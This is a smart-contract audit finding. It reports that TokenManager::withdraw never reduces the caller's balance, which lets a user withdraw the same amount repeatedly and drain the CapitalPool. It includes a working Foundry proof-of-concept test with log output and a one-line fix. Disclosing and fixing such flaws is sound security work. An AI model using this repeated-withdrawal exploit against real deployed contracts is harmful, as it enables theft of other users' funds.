Summary
TokenManager::withdraw allows users to withdraw their balance, but it fails to reduce the user's balance after a successful withdrawal. This oversight enables users with any balance to repeatedly withdraw the same amount, potentially draining the entire CapitalPool.
Impact
This vulnerability could lead to a complete loss of funds in the CapitalPool. Any user with a positive balance can drain the CapitalPool by withdrawing their balance multiple times, far exceeding their actual holdings. This could result in:
Depletion of the CapitalPool's funds
Inability of other users to withdraw their legitimate balances
Proof of Concept
The vulnerability exists in the withdraw function of the TokenManager contract, which retrieves the user's balance, transfers the funds, but never reduces the balance. A malicious user could exploit this by repeatedly calling the withdraw function.
NOTE: this PoC requires adding fixes from my other findings titled "Lack of token approval from CapitalPool to TokenManager in TokenManager::withdraw leads to DoS of all withdrawals" and "Incorrect approval in TokenManager::_transfer leads to DoS of all withdrawals". I will list the following lines here:
function withdraw(address _tokenAddress, TokenBalanceType _tokenBalanceType) external whenNotPaused {
// previous code...
if (_tokenAddress == wrappedNativeToken) {
// ...
} else {
- _safe_transfer_from(_tokenAddress, capitalPoolAddr, _msgSender(), claimAbleAmount); // <<< incorrect, lacks approvals
+ _transfer(_tokenAddress, capitalPoolAddr, _msgSender(), claimAbleAmount, capitalPoolAddr); // <<< correct, with appropriate approvals
}
}
and _transfer function:
if (_from == _capitalPoolAddr && IERC20(_token).allowance(_from, address(this)) == 0x0) {
- ICapitalPool(_capitalPoolAddr).approve(address(this)); // <<< incorrect
+ ICapitalPool(_capitalPoolAddr).approve(_token); // <<< correct
}
These bugs have been reported already as part of other issues, but in order to make this PoC work, they had to be fixed temporarily.
function test_withdraw_vulnerability() public {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 MAKER_POINTS = 1000;
uint256 TAKER_POINTS = 500;
uint256 TOKEN_AMOUNT = 100 * 1e18;
uint256 TOKENS_PER_POINT = 1e18;
uint256 INITIAL_BALANCE = 100_000 * 1e18;
deal(address(mockUSDCToken), alice, INITIAL_BALANCE);
deal(address(mockUSDCToken), bob, INITIAL_BALANCE);
console.log(
"- Alice's userTokenBalance before coming into the protocol: %18e",
tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log("- Alice's actual balance before coming into the protocol: %18e", mockUSDCToken.balanceOf(alice));
vm.startPrank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createMaker(
CreateMakerParams(
marketPlace,
address(mockUSDCToken),
MAKER_POINTS,
TOKEN_AMOUNT,
10_000 * 1.2,
10_000 * 0.03,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
(,,, OfferStatus status,,,,,,,,,,) = preMarktes.offerInfoMap(offerAddr);
require(status == OfferStatus.Virgin, "Maker offer not created successfully");
vm.startPrank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, TAKER_POINTS);
vm.startPrank(user1);
systemConfig.updateMarket("Backpack", address(mockUSDCToken), TOKENS_PER_POINT, block.timestamp - 1, 3600);
vm.startPrank(alice);
deliveryPlace.settleAskMaker(offerAddr, TAKER_POINTS);
uint256 initialUserTokenBalance =
tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
console.log("> Initial Alice's userTokenBalance value: %18e", initialUserTokenBalance);
uint256 initialActualTokenBalance = mockUSDCToken.balanceOf(alice);
console.log("> Initial Alice's actual token balance: %18e", initialActualTokenBalance);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
console.log(
">> Alice's userTokenBalance value after first withdrawal: %18e",
tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log(">> Actual token balance after first withdrawal: %18e", mockUSDCToken.balanceOf(alice));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
uint256 userTokenBalanceAfterSecondWithdrawal =
tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
console.log(
">>> Alice's userTokenBalance value after second withdrawal: %18e", userTokenBalanceAfterSecondWithdrawal
);
console.log(">>> Actual token balance after second withdrawal: %18e", mockUSDCToken.balanceOf(alice));
assertEq(userTokenBalanceAfterSecondWithdrawal, initialUserTokenBalance);
vm.stopPrank();
}
This test will yield the following logs:
- Alice's userTokenBalance before coming into the protocol: 0
- Alice's actual balance before coming into the protocol: 100000
> Initial Alice's userTokenBalance value: 170
> Initial Alice's actual token balance: 99380
>> Alice's userTokenBalance value after first withdrawal: 170
>> Actual token balance after first withdrawal: 99550
>>> Alice's userTokenBalance value after second withdrawal: 170
>>> Actual token balance after second withdrawal: 99720
which signifies that Alice is able to repeteadly withdraw tokens from the protocol, even though she should've withdrawn all of her tokens with her withdrawal.
Tools Used
Foundry, Manual review
Recommended Mitigation Steps
Update the withdraw function to reduce the user's balance after a successful withdrawal.
function withdraw(address _tokenAddress, TokenBalanceType _tokenBalanceType) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
+ delete userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType];
// the rest of the function...
}
